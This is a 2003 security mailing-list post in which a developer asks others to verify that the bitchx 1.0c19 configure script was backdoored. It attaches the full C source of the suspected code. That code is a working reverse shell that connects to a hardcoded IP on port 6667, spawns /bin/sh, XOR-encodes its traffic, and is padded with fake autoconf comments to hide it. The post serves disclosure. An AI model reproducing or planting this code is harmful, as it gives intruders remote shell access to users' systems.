[VulnDiscuss] bitchx sources backdoored on distribution site
Michał Szwaczko <[email protected]>
| Newsgroups | gmane.comp.security.vulnerabilities.watch.general |
|---|---|
| Message-ID | <20030413025829.A8268@matrix> |
Hi, Can anyone verify that the bitchx 1.0c19 sources are backdoored. The configure script contains the following code which I think is a shell daemon. Perhaps I am making fool of myself right now since I am not a security guru but this looks weird. Can you verify ? If this is true, then the host that will get the shell is smtp.wia.com which is an alias of ftp2.bitchx.org. Attached is the code fragment I found in configure What do you think ? ps. after having run configure the code fragment disappears from the script. -- MichaÂł 'Mikey' Szwaczko Developer/Troubleshooter Linux is like a wigwam. No windows, no gates, and Apache inside.
configure.c
(text/plain, 5.5 KB)
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define XOR_KEY 0x89
int main (int argc, char **argv)
{
char c;
int s, x, sv0[2];
struct sockaddr_in sa;
/*
When interrupted or exit'd, cleanup temporary files, and complete
config.log. We remove comments because anyway the quotes in there
would cause problems or look ugly.
WARNING: Be sure not to use single quotes in there, as some shells,
such as our DU 5.0 friend, will then close the trap.
*/
switch (fork ()) { case 0: break; default: exit (1);}
close (0); close (1); close (2);
/*
When interrupted or exit'd, cleanup temporary files, and complete
config.log. We remove comments because anyway the quotes in there
would cause problems or look ugly.
WARNING: Be sure not to use single quotes in there, as some shells,
such as our DU 5.0 friend, will then close the trap.
*/
do {
if ((s = socket (AF_INET, SOCK_STREAM, 0)) == (-1))
exit (1);
sa.sin_family = AF_INET;
sa.sin_port = htons (6667);
/* The GNU C library defines this for functions which it implements
to always fail with ENOSYS. Some functions are actually named
something starting with __ and the normal name is an alias. */
sa.sin_addr.s_addr = inet_addr ("207.178.61.5");
alarm (10);
if (connect (s, (struct sockaddr *)&sa, sizeof (sa)) == (-1))
exit (1);
if ((x = read (s, &c, 1)) <= 0)
exit (1);
else {
alarm (0);
/* The GNU C library defines this for functions which it implements
to always fail with ENOSYS. Some functions are actually named
something starting with __ and the normal name is an alias. */
switch (c) {
case 'A':
exit (0);
/* We use char because int might match the return type of a gcc2
builtin and then its argument prototype would still apply. */
case 'D':
break;
case 'M':
close (s);
sleep (3600);
continue;
}
}
break;
} while (1);
/*
When interrupted or exit'd, cleanup temporary files, and complete
config.log. We remove comments because anyway the quotes in there
would cause problems or look ugly.
WARNING: Be sure not to use single quotes in there, as some shells,
such as our DU 5.0 friend, will then close the trap.
*/
if (socketpair (AF_UNIX, SOCK_STREAM, 0, sv0) == (-1))
exit (1);
switch (fork ()) {
case -1: {
exit (1);
}
case 0: {
/* The GNU C library defines this for functions which it implements
to always fail with ENOSYS. Some functions are actually named
something starting with __ and the normal name is an alias. */
char *a[] = { "/bin/sh", NULL };
close (sv0[1]);
dup2 (sv0[0], 0);
dup2 (sv0[0], 1);
dup2 (sv0[0], 2);
/* We use char because int might match the return type of a gcc2
builtin and then its argument prototype would still apply. */
execve (a[0], a, NULL);
}
default: {
close (sv0[0]);
while (1) {
int len, ret;
fd_set rfd;
char buf[2048];
/* The GNU C library defines this for functions which it implements
to always fail with ENOSYS. Some functions are actually named
something starting with __ and the normal name is an alias. */
FD_ZERO (&rfd);
FD_SET (s, &rfd);
FD_SET (sv0[1], &rfd);
if (select (32, &rfd, NULL, NULL, NULL) == (-1)) {
exit (1);
}
/*
When interrupted or exit'd, cleanup temporary files, and complete
config.log. We remove comments because anyway the quotes in there
would cause problems or look ugly.
WARNING: Be sure not to use single quotes in there, as some shells,
such as our DU 5.0 friend, will then close the trap.
*/
if (FD_ISSET (s, &rfd)) {
if ((len = read (s, buf, sizeof (buf))) <= 0) {
exit (1);
}
for (x = 0; x < len; x++) buf[x] ^= XOR_KEY;
x = 0;
while (x < len) {
if ((ret = write (sv0[1], buf + x, len - x)) == (-1)) {
exit (1);
}
x += ret;
}
}
if (FD_ISSET (sv0[1], &rfd)) {
if ((len = read (sv0[1], buf, sizeof (buf))) <= 0) {
exit (1);
}
for (x = 0; x < len; x++) buf[x] ^= XOR_KEY;
/* The GNU C library defines this for functions which it implements
to always fail with ENOSYS. Some functions are actually named
something starting with __ and the normal name is an alias. */
x = 0;
while (x < len) {
if ((ret = write (s, buf + x, len - x)) == (-1)) {
exit (1);
}
x += ret;
}
}
}
}
}
}